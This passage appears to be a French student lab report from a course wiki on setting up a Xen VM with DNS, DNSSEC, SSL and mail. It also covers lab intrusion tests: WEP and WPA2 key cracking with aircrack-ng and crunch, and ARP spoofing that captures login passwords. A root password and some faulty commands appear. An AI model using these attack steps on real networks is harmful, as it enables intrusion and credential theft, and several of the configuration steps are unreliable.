Si le service n'est pas configurer correctement, on peut le reconfigurer avec la commande <code>dpkg-reconfigure postfix</code><br />
====Réception d'un message====<br />
On peux testé la reception de message en envoyant un message a 'roor@glopglop.site'<br />
Si tout fonctionne bien, on peux visualisé les méssage recu en tappant la commande <code>mutt</code><br />
<br />
[[Fichier:Reception_messages_mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
On constate que on resoit bien les message en provenance du mail de Polytech.<br />
Pour que gandi puissent nous envoyer le mail contenant la clef de cryptage, on a besoint de pouvoir recevoirr les messages qui sont destiné a 'admin@glopglop.site'<br />
<br />
Pour cela on va modifier le fichier 'vim /etc/aliases' en ajoutant la commande <code>admin:root</code><br />
On crée ensuite un <code>newaliases</code> puis on restarte bind9 avec la commance <code>service bind9 restart</code><br />
<br />
Attention pour les test il est conseiller d'utilisé deux boite mail différante care celle ci prenne du temps pour se mettre a jours.<br />
<br />
====Envoie du SSL Certification Gandi====<br />
<br />
Quand on est sure que le mail fonctionne bien avec l'envoie d'un message a destination de 'admin@glopglop.site' on peux demandé a gandi de bous envoyer la clef de cryptage.<br />
On demande d'envoyet le ssl certification a notre VM, cela peux prendre un certain temps.<br />
<br />
[[Fichier:SSL_Certification_Gandi_Mirage.png|1000px|thumb|left|texte descriptif]]<br />
<br style="clear: both;" \><br />
<br />
Dans le mail de gandi on resoit un codde de confimartion ainsi q'un mot de passe. Une fois confirmer, on peut télécharger les fichiers 'glopglop.site.crt' et 'GandistandardSSLCA2.perm'<br />
<br />
Une fois les fichiers télécharger et importer dans la Vm dans le dossier '/root', il faut dire que quand on se connecte sur le site 'glopglop.site' en 'https' il dois utilisé la cled publique 'myserver.key'.<br />
[[Fichier:Gandi-téléchargement_clefetcertifica_mirage.png|1000px|thumb|left|Fichiers gandi a télechargé]]<br />
<br style="clear: both;" \><br />
<br />
quand on utilise le ssh on passe par le port '442' dans le fichier <code>/etc/apache2/sites-available/default-ssl.conf</code><br />
On ajoute les lignes suivantes : <br />
<br />
SSLEngine on<br />
SSLCertificateFile /root/glopglop.site.crt<br />
SSLCertificateKeyFile /root/myserver.key<br />
SSLCertificateChainFile /root/GandiStandardSSLCA2.pem <br />
<br />
On reboot le service apash2 pour qu'il prenne les modification en compte.<br />
Le service ne fonctionn pas encore car on a rien qui écoute le port 442. <br />
/etc/apache2/sites-available/default-ssl.conf <br />
dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk<br />
service bind9 restart<br />
Il ne faut pas oublier d'incrémenter le numéro de version avant de restart le service 'bind9'<br />
<br />
On vérifie que tout fonctionne bien avec les commandes : <br />
host www.glopglop.site<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
host www.glopglop.site ns6.gandi.net<br />
Using domain server:<br />
Name: ns6.gandi.net<br />
Address: 2001:4b98:d:1::40#53<br />
Aliases: <br />
<br />
www.glopglop.site is an alias for dns1.glopglop.site.<br />
dns1.glopglop.site has address 193.48.57.168<br />
<br />
On peut maintenant vérifier que le site est maintenant bien sécurisé en 'https'<br />
<br />
[[Fichier:Glopglop.site_Securisé.png|1000px|thumb|left|GlopGlop.site en Https]]<br />
<br style="clear: both;" \><br />
<br />
on a maintenant un site sécurisé en 'https'<br />
<br />
====Modification de la page d'accueille Apashe2====<br />
<br />
Pour éviter d'avoir la page de base Apash2, on va modifier le fichier 'index.html' pour cela il suffit d'éditer le fichier avec vim avec la commande <code>vim /var/www/html/index.html</code>.<br />
<br />
Le site : https://www.w3schools.com/html/html_examples.asp explique comment faire sa propre page web.<br />
la page pour le site 'glopglop.site' ne sert que d'exemple si on veux une page plus élaborer des template sont directement disponible sur le net avec en prime les fichiers css pour obtenir un site vraiment attractif. mais on cherche juste pour le moment a avoir une page différente de test.<br />
<br />
==Tests d’intrusion==<br />
<br />
=== Description ===<br />
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA <br />
<br />
=== Installation de la clef Wifi ===<br />
Avec la commande <code>lsusb</code> on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.<br />
<br />
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter<br />
Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub<br />
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard<br />
Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse<br />
Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub<br />
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub<br />
<br />
La clef ubs Wifi est bien détécter.<br />
On doit donc installer le pilote pour les clef usb RT5370 avec la commande :<br />
apt-get install firmware-ralink<br />
apt-get install firmware-misc-nonfree<br />
<br />
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande <code>ip l</code> et on récupère le résultat ci-dessous : <br />
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00<br />
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff<br />
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000<br />
link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff<br />
6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff<br />
7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000<br />
link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff<br />
8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000<br />
link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff<br />
<br />
La clef wifi s'apelle donc <code>wlx40a5ef059784</code> on fait maintenant un <code> ip link set wlx40a5ef059784 up></code><br />
<br />
Avec la comande <code>dmsg</code> on vérifie que la clef wifi fonctionne bien. <br />
<br />
=== Installation du paquetage AirCrack-ng ===<br />
Pour installer [https://doc.ubuntu-fr.org/aircrack-ng AirCrack] (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :<br />
apt-get install aircrack-ng<br />
apt-get install firmware-misc-nonfree<br />
<br />
=== Utilisation de AirCrack pour clef WEP ===<br />
<br />
Après avoir branché la clef WiFi, on se sert de <code>airmon-ng</code> qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.<br />
airmon-ng<br />
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):<br />
airmon-ng start wlx40a5ef059784<br />
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:<br />
airodump-ng wlan0mon <br />
<br />
On obtien le résultat ci dessous : <br />
<br />
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br />
<br />
38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> <br />
04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 <br />
04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 <br />
04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 <br />
04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 <br />
04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 <br />
04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 <br />
04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 <br />
04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 <br />
04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 <br />
04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 <br />
04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 <br />
04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 <br />
00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 <br />
00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 <br />
00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 <br />
00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 <br />
00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04<br />
<br />
Le réseau que nous voulons craquer est <code>cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9</code><br />
<br />
On utilise la commande <code>airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon</code>. cela nous crée un <code>reseau_cracotte05-01.cap</code> On n'as pluq qu'a faire un <code>aircrack-ng reseau_cracotte05-01.cap </code>.<br />
<br />
KB depth byte(vote)<br />
0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) <br />
1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) <br />
2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) <br />
3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) <br />
4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) <br />
5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) <br />
6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) <br />
7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) <br />
8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) <br />
9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) <br />
10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) <br />
11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) <br />
12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776) <br />
<br />
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] <br />
Decrypted correctly: 100%<br />
<br />
Et voila nous avons trouver clef du réseau wifi cracotte05<br />
<br />
=== Utilisation de AirCrack pour clef WPA2-PSA ===<br />
<br />
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres.<br />
On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.<br />
<br />
On commence par installer Crnch avec la commande <code>sudo apt-get install -y crunch</code><br />
<br />
Une fois installer on génère un fichier dictionnaite.txt avec la commande <code>crunch 8 8 0123456789 >> dictionnaire_wpa.txt</code><br />
On relance la commande <code>airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24</code><br />
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.<br />
<br />
Puis nous lançons aircrack-ng avec la commande <code>aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt</code><br />
Read 121032 packets.<br />
<br />
# BSSID ESSID Encryption<br />
<br />
1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA<br />
<br />
Choosing first network as target.<br />
<br />
Opening reseau_kracotte05-01.cap<br />
Read 121032 packets.<br />
<br />
1 potential targets<br />
Got no data packets from target network!<br />
Quitting aircrack-ng...<br />
<br />
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes.<br />
Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute" <br />
<br />
Aircrack-ng 1.5.2 <br />
<br />
[00:32:18] 10323450/102795810 keys tested (2771.75 k/s) <br />
<br />
Time left: 9 hours, 16 minutes, 11 seconds 10.04%<br />
<br />
KEY FOUND! [ 10244444 ]<br />
<br />
<br />
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B <br />
46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B <br />
<br />
Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 <br />
54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B <br />
9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 <br />
79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 <br />
<br />
EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD<br />
<br />
On a bien trouver la clé du wifi !<br />
On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. Cela permet de diviser le temps de traitement par le nombre de machine utilisé.<br />
<br />
===Exploitation de failles du système===<br />
<br />
===Attaque de type "homme au milieu" par usurpation ARP===<br />
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage <code>dsniff</code> pour cela on utilise la commande : <code>apt-get install dsniff</code><br />
<br />
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande <code>cat /proc/sys/net/ipv4/ip_forward</code> pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.<br />
<br />
On fait la commande <code>cat /proc/sys/net/ipv4/conf/all/rp_filter</code> la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.<br />
<br />
Ensuite on fait un <code>ip r</code> pour récupérer l'adresse ip du routeur.<br />
[[Fichier:Ip_r_mirage.png|1000px|thumb|left|capture de la commande ip r]]<br />
<br style="clear: both;" \><br />
<br />
On fait la commande <code>arpspoof -i bridge -t zabeth07 172.26.145.254</code><br />
On lance Wireshark en root en utilisant la commande <code>su</code> si celui ci n'est pas installer on fait préalablement <code>apt-get install wireshark</code><br />
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.<br />
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.<br />
<br />
[[Fichier:Wireshark_mirage.png|1000px|thumb|left|capture de Wiresharkf]]<br />
<br style="clear: both;" \><br />
<br />
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.<br />
Non d'utilisateur : Oui le pas de calais<br />
Mdp : le mdp<br />
<br />
=== Intrusion sur un serveur d’application Web===<br />
<br />
==Réalisations==<br />
<br />
===Sécurisation de données===<br />
<br />
===Chiffrement de données===<br />
<br />
Parfois il est necessaire de chiffrer les données importante,d'avoir des clef USB, ou des fichier sécuriser. Pour sécuriser la clef USB, on va utilisé 'cryptsetup'<br />
pour commancer on installe les paquetages 'lvm2' et 'cryptsetup'.<br />
apt-get install cryptsetup<br />
apt-get install lvm2 <br />
<br />
Le [https://doc.ubuntu-fr.org/cryptsetup site] on peut trouver la liste des commandes necessaire pour crypter le clef USB.<br />
<br />
Premièrement on va formaté la clef usb pour avoir un disque propre avec la commande <code>mkfs.vfat -n 'Alex.G' -I /dev/sdb1</code> on obtien le nom de la clef USB avec la commande <code>df -h</code><br />
On a maintenant une clef USB clean qui a comme nom Alex.G et un format FAT32.<br />
<br />
On peut lancer le cryptage de la clef USB avec la commande <code>cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/sdb</code> Pour savoir ou les la clef USB on utilise la commande <code>lsblk</code><br />
On choisi un mdp pour le clef USB, puis on envoie le fichier etc sur le clef pour vérifier si il est bien encrypter. Une fois la clef crypter avec un fichier dessu, on va sur un autre pc et on, vérifie si le fichier est bien crypter.<br />
La liste des commande utilisé est listé ci-dessous : <br />
mount /dev/mapper/Alex.G /mnt<br />
cp -r /etc /mnt<br />
umount /mnt<br />
cryptsetup luksClose Alex.G<br />
<br />
On peut voir que le clef USB crypter fonctionne bien.<br />
[[Fichier:ClefUSBLock_2020-11-13_11-48-55.png|1000px|thumb|left|Cryptage de la clef USB]]<br />
<br style="clear: both;" \><br />
<br />
===Inspection ARP par un élément réseau===<br />
<br />
===Sécurisation WiFi par WPA2-EAP===</div>Aglainehttps://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G5&diff=54006TP sysres IMA2a5 2020/2021 G52020-11-27T16:51:40Z<p>Aglaine : /* Installation d'une méchagerie */</p>
<hr />
<div>== Introduction ==<br />
<br />
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.<br />
<br />
=== Tableau Récapitulatif ===<br />
{| class="wikitable" style="text-align: center;width: 35%;margin: auto;"<br />
! Description !! Détails<br />
|-<br />
! scope="row" style="width: 40%"|ID VLAN<br />
|style="width: 60%"|Vlan7<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V4<br />
|style="width: 60%"|193.48.57.168/26<br />
|-<br />
! scope="row" style="width: 40%"|Réseau IP V6<br />
|style="width: 60%"|2001:660:4401:60a2:216:3eff:fe95:d093/64<br />
|-<br />
! scope="row" style="width: 40%"|Nom de de la VM <br />
|style="width: 60%"|mirage<br />
|-<br />
! scope="row" style="width: 40%"|Numéro de poste<br />
|style="width: 60%"|Zabeth06<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTP<br />
|style="width: 60%"|http://www.glopglop.site/<br />
|-<br />
! scope="row" style="width: 40%"|Adresse du site internet version HTTPS<br />
|style="width: 60%"|https://www.glopglop.site/<br />
|-<br />
|}<br />
<br />
== Installation des systèmes d’exploitation == <br />
<br />
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation.<br />
Pour cela, il faut utiliser la commande : <br />
ssh capbreton.plil.info<br />
<br />
=== Installation dans la machine virtuelle Xen ===<br />
<br />
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :<br />
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force<br />
<br />
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande : <br />
tail -f /var/log/xen-tools/mirage.0.log<br />
<br />
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :<br />
Installation Summary<br />
---------------------<br />
Hostname : mirage<br />
Distribution : ascii<br />
MAC Address : xxxxxxxxxxx<br />
IP Address(es) : dynamic<br />
SSH Fingerprint : SHA256:xxxxxxx (DSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)<br />
SSH Fingerprint : SHA256:xxxxxxx (ED25519)<br />
SSH Fingerprint : SHA256:xxxxxxx (RSA)<br />
Root Password : DgtUlOmnBFERdfarGBsopGR<br />
<br />
Une fois la VM créer, nous pouvons la lancer avec la commande :<br />
xl create /etc/xen/mirage.cfg<br />
<br />
On peut vérifier que le VM est bien démarrer avec la commande :<br />
xl list<br />
Pour fonctionner l'état de la VM doit être r ou -b<br />
[[Fichier:LancementVm.PNG|1000px|thumb|left|Liste des VM en fonctionnement]]<br />
<br />
<br style="clear: both;" \><br />
<br />
On accède pour la premier fois a nottre Vm avec la commande :<br />
xl console mirage<br />
<br />
il demande alors le login (root) et le mdp (longue chaine précédemment générée). <br />
Après nous être logué, on change le mot de passe qui devient : glopglopglop.<br />
<br />
=== Configuration de la machine virtuelle Xen ===<br />
<br />
Il faut maintenant installer les packages que nous avons besoins : <br />
apt-get update<br />
apt-get install VIM<br />
<br />
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :<br />
vim /etc/network/interfaces<br />
<br />
Dans interfaces on tajoute <br />
auto eth0<br />
iface eth0 inet static<br />
address 193.48.57.168<br />
gateway 193.58.57.163<br />
netmask 255.255.255.248<br />
<br />
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :<br />
vi /etc/ssh/ssh_config<br />
<br />
Le fichier ssh_config doit être configurer comme ci dessous :<br />
Host *<br />
SendEnv LANH LC_*<br />
HashKnownHOST yes<br />
GSSAPIAuthentification yes<br />
<br />
Sur Capbreton, une paserell doit être mis en place pour pouvoir connecté les VM aux monde extérieure.<br />
Pour cela on configure ces interfacte avec la commande : <br />
vim/etc/network/interfaces<br />
<br />
Puis on configure la passerelle comem ci dessous : <br />
<pre><br />
# The loopback network interface<br />
auto lo<br />
iface lo inet loopback<br />
<br />
# Physical Network Interfaces<br />
#<br />
auto eth<br />
iface eth inet static<br />
address 192.168.0.29<br />
netmask 255.255.255.0<br />
gateway 192.168.0.1<br />
<br />
auto eth0<br />
iface eth0 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth1<br />
iface eth1 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth2<br />
iface eth2 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth4<br />
iface eth4 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth5<br />
iface eth5 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth6<br />
iface eth6 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto eth7<br />
iface eth7 inet manual<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Main trunk bridge<br />
#<br />
auto Trunk<br />
iface Trunk inet manual<br />
bridge_ports eth4 eth5<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
# Virtual Network Interfaces<br />
#<br />
<br />
auto vlan48<br />
iface vlan48 inet static<br />
vlan-raw-device Trunk<br />
address 172.26.191.21<br />
netmask 255.255.252.0<br />
gateway 172.26.191.254<br />
iface vlan48 inet6 auto<br />
<br />
auto vlan500<br />
iface vlan500 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
<br />
auto vlan502<br />
iface vlan502 inet manual<br />
vlan-raw-device Trunk<br />
post-up ip link set $IFACE up<br />
post-down ip link set $IFACE down<br />
# Bridge for IMA5sc group<br />
#<br />
<br />
auto IMA5sc<br />
iface IMA5sc inet manual<br />
bridge_ports eth0 eth6<br />
# Bridge for IMA2a5<br />
#<br />
<br />
auto IMA2a5<br />
iface IMA2a5 inet manual<br />
bridge_ports eth1 eth7<br />
# Bridge for L3MRIT group<br />
#<br />
<br />
auto L3MRIT<br />
iface L3MRIT inet manual<br />
bridge_ports eth2<br />
# Bridge for GIS group<br />
#<br />
<br />
auto bridgeGIS<br />
iface bridgeGIS inet manual<br />
bridge_ports vlan502<br />
</pre><br />
<br />
== Architecture réseau ==<br />
<br />
===Sécurisation du réseau===<br />
<br />
==Services Internet==<br />
<br />
===Serveur SSH===<br />
<br />
On peux maintenant se connecté a la VM mirage avec la commande : <code>ssh root@193.48.57.168 -p 2222</code><br />
<br />
===Serveur DNS===<br />
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.<br />
<br />
Nous commençons tout d'abord par installer bind9 via la commande suivante : <code>apt-get install bind9</code><br />
<br />
==== Création et configuration named.conf.local ====<br />
Le <code>named.conf.local</code> permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP. <br />
<br />
Il faut tout d'abbord modifié le fichier <code>/etc/bind/named.conf.local</code> qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.<br />
<br />
[[Fichier:Mirage-config-named.conf.local.png|1000px|thumb|left|Configuration de mirage]]<br />
<br style="clear: both;" \><br />
<br />
Puis créé le fichier de configuration appelé <code>glopglop.site</code> avec la commande <code>vim /etc/bind/glopglop.site</code><br />
<br />
[[Fichier:Configuration_bind9.png|1000px|thumb|left|Configuration de bind9]]<br />
<br style="clear: both;" \><br />
<br />
On relance le service 'bind9' avec la commande :<code>service bind9 restart</code><br />
<br />
On vérifie que le DNS fonctionne bien avec le commande <code>host dns1.glopglop.site localhost</code><br />
[[Fichier:Dns1.glopglop.site_2020-11-13_08-57-52.png|1000px|thumb|left|Vérification du DNS en local]]<br />
<br style="clear: both;" \><br />
Le DNS fonctionne donc bien.<br />
<br />
==== Configuration gandi.net ====<br />
Grâce au registrar gandi.net, nous avons réservé le nom de domaine <code>glopglop.site</code>. L'extension <code>.site</code><br />
<br />
[[Fichier:Gandi-glopglop-VueGeneral.PNG|1000px|thumb|left|Image de la configuration de Gandi]]<br />
<br style="clear: both;" \><br />
<br />
On va maintenant ajouter un "glue record" qui est un enregistrement collé. Il permet d'associer un nom d'hôte avec une adresse IP au registre.<br />
Glue records fournis par gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.<br />
<br />
[[Fichier:Mirage-Ajoue-GlueRecord.PNG|1000px|thumb|left|Image de la configuration de Gandi avec Glue Record]]<br />
<br style="clear: both;" \><br />
<br />
Une fois le "glue record" renseigner se qui va lié nottre dns a une ip, il faur renseigner les serveur de non. cela prend 27/72h.<br />
Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. Si ce n'est pas le cas gandi ne pourras pas liée les dns a l'ip de la machine.<br />
<br />
[[Fichier:GandiDNS_2020-11-13_09-00-16.png|1000px|thumb|left|DNS sur GANDI]]<br />
<br style="clear: both;" \><br />
<br />
Une fois les serveuyrs de non configurer, on peux fermer GANDI.<br />
<br />
===Sécurisation de site web par certificat===<br />
<br />
===Sécurisation de serveur DNS par DNSSEC===<br />
Premièrement, on ajoute <code>l'obtion dnssec-enable yes;</code> dans le fichier <code>named.conf.options</code>.<br />
====Génération des clef asymétrique====<br />
Il est important de bien sauvegarder la clef privée, sinon nottre système de clef ne fonctionnera pas.<br />
pour commancer, on crée un repertoire pour stocker les clef.<br />
cd /etc/bind<br />
mkdir glopglop.site.dnssec<br />
cd glopglop.site.dnssec/<br />
<br />
Une fois dans le dossier <code>glopglop.site.dnssec</code>, on crée les clefs avec la commande<code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair...............+++++ ..........................................+++++ <br />
Kglopglop.site.+005+15337<br />
<br />
On crée ensuite le clef asymétrique pour la signature des enregistrements, pour cela on utilise la commande <code>dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE glopglop.site</code><br />
On obtien : <br />
Generating key pair................+++++ ..................................................+++++ <br />
Kglopglop.site.+005+55608<br />
<br />
On a bien maintenant la paire de clef privée/publique. Le problème est qu'il est difficile de les distinguer avec leurs nom compliquer, il faut donc les rennomer pouyr plus de transparance.<br />
On renomme donc les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);<br />
<br />
mv Kglopglop.site.+005+15337.key glopglop.site-ksk.key<br />
mv Kglopglop.site.+005+15337.private glopglop.site-ksk.private<br />
mv Kglopglop.site.+005+55608.key glopglop.site-zsk.key<br />
mv Kglopglop.site.+005+55608.private glopglop.site-zsk.private<br />
<br />
[[Fichier:ClefPrivéePublique_2020-11-13_09-23-42.png|1000px|thumb|left|Clef Privée et Public]]<br />
<br style="clear: both;" \><br />
<br />
Dans <code>db.glopglop.site</code> on ajoute les deux lignes ci-dessous : <br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-ksk.key<br />
$include /etc/bind/glopglop.site.dnssec/glopglop.site-zsk.key<br />
<br />
On signe la zone d'enregistremment avec la commande <code>dnssec-signzone -o glopglop.site -k glopglop.site-ksk ../db.glopglop.site glopglop.site-zsk</code><br />
[[Fichier:Zones_d'enregistrement_2020-11-13_10-27-11.png|1000px|thumb|left|Generation des zones d'enregistrement]]<br />
<br style="clear: both;" \><br />
<br />
